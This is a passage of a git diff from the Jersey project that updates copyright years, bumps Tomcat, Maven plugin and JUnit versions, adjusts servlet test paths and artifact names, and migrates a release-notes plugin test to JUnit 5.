- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -45,7 +45,8 @@
 
     @Test
     public void testResourceReachable() {
-        assertEquals("forwardingFilter/resource", target("forwardingFilter/resource").request().get(String.class));
+        assertEquals("forwardingFilter/resource",
+                target("forwardingFilter/forwardingFilter/resource").request().get(String.class));
     }
 
     @Test
diff --git a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/StaticContentRegexITCase.java b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/StaticContentRegexITCase.java
index f2b2931..d3ad9bf 100644
--- a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/StaticContentRegexITCase.java
+++ b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/StaticContentRegexITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -57,7 +57,7 @@
 
     @Test
     public void testResourceReachable() {
-        Response r = target("staticContentFilter/resource").request().get();
+        Response r = target("staticContentFilter/staticContentFilter/resource").request().get();
         assertEquals(200, r.getStatus());
         assertEquals("staticContentFilter/resource", r.readEntity(String.class));
     }
diff --git a/tests/jersey-tck/pom.tomcat.xml b/tests/jersey-tck/pom.tomcat.xml
index a6e71a9..056d5a0 100644
--- a/tests/jersey-tck/pom.tomcat.xml
+++ b/tests/jersey-tck/pom.tomcat.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8" ?>
 <!--
 
-    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,7 +32,7 @@
         <maven.compiler.source>11</maven.compiler.source>
         <maven.compiler.target>11</maven.compiler.target>
         <jersey.version>4.0.99-SNAPSHOT</jersey.version> <!-- the public version that pass the tck -->
-        <tomcat.container.version>11.0.0-M18</tomcat.container.version>
+        <tomcat.container.version>11.0.10</tomcat.container.version>
         <tomcat.home>${project.build.directory}/apache-tomcat-${tomcat.container.version}</tomcat.home>
         <tomcat.modules>${tomcat.home}/lib</tomcat.modules>
         <jakarta.platform.version>10.0.0</jakarta.platform.version>
@@ -92,7 +92,7 @@
         <dependency>
             <groupId>org.jboss.arquillian.container</groupId>
             <artifactId>arquillian-tomcat-managed-10</artifactId>
-            <version>1.2.1-SNAPSHOT</version>
+            <version>1.2.4.Final-SNAPSHOT</version>
         </dependency>
 
         <dependency>
@@ -487,15 +487,6 @@
                             </artifactItem>
                             <artifactItem>
                                 <groupId>org.glassfish.jersey.containers</groupId>
-                                <artifactId>jersey-container-servlet-core</artifactId>
-                                <version>${jersey.version}</version>
-                                <type>jar</type>
-                                <overWrite>true</overWrite>
-                                <outputDirectory>${tomcat.modules}</outputDirectory>
-                                <destFileName>jersey-container-servlet-core.jar</destFileName>
-                            </artifactItem>
-                            <artifactItem>
-                                <groupId>org.glassfish.jersey.containers</groupId>
                                 <artifactId>jersey-container-servlet</artifactId>
                                 <version>${jersey.version}</version>
                                 <type>jar</type>
diff --git a/tests/jersey-tck/pom.xml b/tests/jersey-tck/pom.xml
index b6254cc..417bdf2 100644
--- a/tests/jersey-tck/pom.xml
+++ b/tests/jersey-tck/pom.xml
@@ -250,7 +250,7 @@
                                 </artifactItem>
                                 <artifactItem>
                                     <groupId>org.glassfish.jersey.containers</groupId>
-                                    <artifactId>jersey-container-servlet-core</artifactId>
+                                    <artifactId>jersey-container-servlet</artifactId>
                                     <version>${jersey.version}</version>
                                     <type>jar</type>
                                     <overWrite>true</overWrite>
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java
index 369c2b1..33d4660 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/PackageScanningTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -73,7 +73,7 @@
 
                 mavenBundle().groupId("jakarta.servlet").artifactId("jakarta.servlet-api").versionAsInProject(),
                 mavenBundle().groupId("org.glassfish.grizzly").artifactId("grizzly-http-servlet").versionAsInProject(),
-                mavenBundle().groupId("org.glassfish.jersey.containers").artifactId("jersey-container-servlet-core")
+                mavenBundle().groupId("org.glassfish.jersey.containers").artifactId("jersey-container-servlet")
                         .versionAsInProject(),
                 mavenBundle().groupId("org.glassfish.jersey.containers").artifactId("jersey-container-grizzly2-servlet")
                         .versionAsInProject(),
diff --git a/tests/pom.xml b/tests/pom.xml
index 01fdcf0..82e071d 100644
--- a/tests/pom.xml
+++ b/tests/pom.xml
@@ -117,15 +117,6 @@
             </build>
         </profile>
         <profile>
-            <id>JDK17+</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <modules>
-                <module>version-agnostic</module>
-            </modules>
-        </profile>
-        <profile>
             <id>JMOCKIT-MODULE-FOR-PRE-JDK24</id>
             <activation>
                 <jdk>[11,24)</jdk>
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
index 0f08785..4b3e634 100644
--- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,7 +19,6 @@
 import org.apache.maven.model.Dependency;
 import org.apache.maven.model.Model;
 import org.junit.Assert;
-import org.junit.Ignore;
 import org.junit.Test;
 
 public class MoxyAsmTest {
@@ -32,11 +31,21 @@
                 .findFirst().get();
         Model projectPom = MavenUtil.getModelFromFile("../../pom.xml");
         final String asmVersion = projectPom.getProperties().getProperty("asm.version");
-        final String moxyAsmVersion = projectPom.getProperties().getProperty("moxy.asm.version");
+        final String moxyAsmVersion = findVersionInModel(moxyAsmDependency.getVersion(), projectPom);
 
-        final String msg = "org.eclipse.persistence.asm (moxy.asm.version) version " + moxyAsmVersion
-                + " differs from asm version (asm.version) " + asmVersion + " in /media/moxy/pom.xml";
-        Assert.assertEquals(msg, asmVersion, moxyAsmVersion);
+        final String lastTwo = moxyAsmVersion.substring(moxyAsmVersion.length() - 2);
+        final String msg = "org.eclipse.persistence.asm version " + moxyAsmVersion
+                + " differs from asm version " + asmVersion + " in /media/moxy/pom.xml";
+        Assert.assertEquals(msg, asmVersion + lastTwo, moxyAsmVersion);
         System.out.println("Found expected Moxy ASM version " + moxyAsmVersion);
     }
+
+    private static String findVersionInModel(String version, Model model) {
+        if (version.startsWith("${")) {
+            String _version = version.substring(2, version.length() - 1);
+            return model.getProperties().getProperty(_version);
+        } else {
+            return version;
+        }
+    }
 }
diff --git a/tools/jersey-release-notes-maven-plugin/pom.xml b/tools/jersey-release-notes-maven-plugin/pom.xml
index 1522089..dfd342b 100644
--- a/tools/jersey-release-notes-maven-plugin/pom.xml
+++ b/tools/jersey-release-notes-maven-plugin/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -56,7 +56,7 @@
         <dependency>
             <groupId>org.apache.maven.plugin-tools</groupId>
             <artifactId>maven-plugin-annotations</artifactId>
-            <version>3.6.0</version>
+            <version>3.15.1</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -74,7 +74,8 @@
         <dependency>
             <groupId>commons-io</groupId>
             <artifactId>commons-io</artifactId>
-            <version>2.17.0</version>
+            <version>${commons.io.version}</version>
+            <scope>test</scope>
         </dependency>
         <dependency>
             <groupId>org.apache.maven</groupId>
@@ -83,9 +84,15 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>junit</groupId>
-            <artifactId>junit</artifactId>
-            <version>4.13.2</version>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter-api</artifactId>
+            <version>${junit.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <version>${junit.version}</version>
             <scope>test</scope>
         </dependency>
 
@@ -96,7 +103,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-plugin-plugin</artifactId>
-                <version>3.6.0</version>
+                <version>3.15.1</version>
                 <configuration>
                     <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>
                 </configuration>
@@ -113,7 +120,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
-                <version>3.1</version>
+                <version>3.14.0</version>
                 <inherited>true</inherited>
                 <configuration>
                     <source>${java.version}</source>
@@ -127,6 +134,8 @@
 
     <properties>
         <java.version>1.8</java.version>
-        <maven.version>3.8.1</maven.version>
+        <maven.version>3.9.9</maven.version>
+        <commons.io.version>2.19.0</commons.io.version>
+        <junit.version>5.12.2</junit.version>
     </properties>
 </project>
diff --git a/tools/jersey-release-notes-maven-plugin/src/test/java/org/glassfish/jersey/tools/plugins/releasenotes/GenerateReleaseNotesMojoTest.java b/tools/jersey-release-notes-maven-plugin/src/test/java/org/glassfish/jersey/tools/plugins/releasenotes/GenerateReleaseNotesMojoTest.java
index 93287ee..1826730 100644
--- a/tools/jersey-release-notes-maven-plugin/src/test/java/org/glassfish/jersey/tools/plugins/releasenotes/GenerateReleaseNotesMojoTest.java
+++ b/tools/jersey-release-notes-maven-plugin/src/test/java/org/glassfish/jersey/tools/plugins/releasenotes/GenerateReleaseNotesMojoTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,17 +23,14 @@
 import org.apache.maven.project.ProjectBuilder;
 import org.apache.maven.project.ProjectBuildingRequest;
 import org.eclipse.aether.DefaultRepositorySystemSession;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
 
 import java.io.File;
 
-@RunWith(JUnit4.class)
 public class GenerateReleaseNotesMojoTest extends AbstractMojoTestCase {
 
-    @Before
+    @BeforeEach
     public void setUp() throws Exception {
 
         // required for mojo lookups to work